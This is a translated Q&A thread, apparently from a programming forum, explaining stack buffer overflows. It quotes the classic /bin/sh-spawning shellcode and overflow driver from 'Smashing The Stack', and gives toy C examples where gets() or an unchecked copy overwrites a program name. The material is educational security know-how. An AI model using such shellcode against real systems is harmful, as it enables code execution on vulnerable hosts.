我听说过很多关于缓冲区溢出的事情,并且相信我理解这个问题,但我仍然没有看到说的例子
char buffer[16];
//code that will over write that buffer and launch notepad.exe
我听说过很多关于缓冲区溢出的事情,并且相信我理解这个问题,但我仍然没有看到说的例子
char buffer[16];
//code that will over write that buffer and launch notepad.exe
“Smashing The Stack For Fun and Profit”是该主题的最佳 HowTo/FAQ。
见:http: //insecure.org/stf/smashstack.html
下面是一些实际 shellcode 的片段:
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
有两个不同的东西:
溢出缓冲区的代码,这很容易做到,并且很可能以分段错误结束。这是已显示的内容: sprintf(buffer,"01234567890123456789");
将由操作系统执行的被覆盖的内存代码放在上面的方法。这比仅仅溢出缓冲区更难,并且与程序的执行方式有关。他们通常会从堆栈中抓取下一条要执行的指令,如果您设法通过覆盖内存将有效指令放入堆栈的下一个值而不会造成执行指针损坏(或任何其他类型的损坏),您可以创建一个漏洞利用. 它通常通过将跳转指令放在堆栈的下一个要读取的值到包含代码的内存部分来完成。这就是为什么将内存部分标记为不可执行可以帮助抵御此类攻击的原因。
首先,您需要一个可以启动其他程序的程序。exec
以某种形式执行操作系统的程序。这是高度特定于操作系统和语言的。
其次,启动其他程序的程序必须从某个外部源读取到缓冲区。
第三,您必须检查正在运行的程序——正如编译器在内存中布置的那样——以查看输入缓冲区和用于第 1 步(启动其他程序)的其他变量是如何存在的。
第四,您必须编造一个实际会超出缓冲区的输入并设置其他变量。
所以。第 1 部分和第 2 部分是一个在 C 语言中看起来像这样的程序。
#include <someOSstuff>
char buffer[16];
char *program_to_run= "something.exe";
void main( char *args[] ) {
gets( buffer );
exec( program_to_run );
}
buffer
第 3 部分需要对 the和外观进行一些分析program_to_run
,但您会发现它可能只是
\x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 s o m e t h i n g . e x e \x00
第 4 部分,您的输入,然后必须是
1234567890123456notepad.exe\x00
所以它将填充buffer
并写入program_to_run
。
好吧,我不知道如何启动 notpad.exe,但是要覆盖这个缓冲区,只需执行以下操作:
sprintf(buffer, "somestringlongerthan16");
int x[10];
x[11] = 1;
gets(buffer);
没有办法正确使用gets,因为它不要求缓冲区的大小。
scanf("%s", buffer);
Scanf 将读取字符串输入,直到遇到空格,如果用户键入超过 16 个字符,则会出现缓冲区溢出。
缓冲区溢出可用于使代码执行其他操作的方式是通过在分配的缓冲区之外写入数据来覆盖其他内容。
覆盖的数据通常是另一个函数中的代码,但一个简单的例子是覆盖缓冲区旁边的变量:
char buffer[16];
string myapp = "appmine.exe";
void execMe(string s) {
for (int i = 0; i < s.Length; i++) buffer[i] = s[i];
Sys.Execute(myapp, buffer);
}
如果调用该函数的数据多于缓冲区可以容纳的数据,它将覆盖文件名:
execMe("0123456789012345notepad");
Phrack 的Smashing The Stack For Fun And Profit有足够的解释,让您能够按照您的要求去做。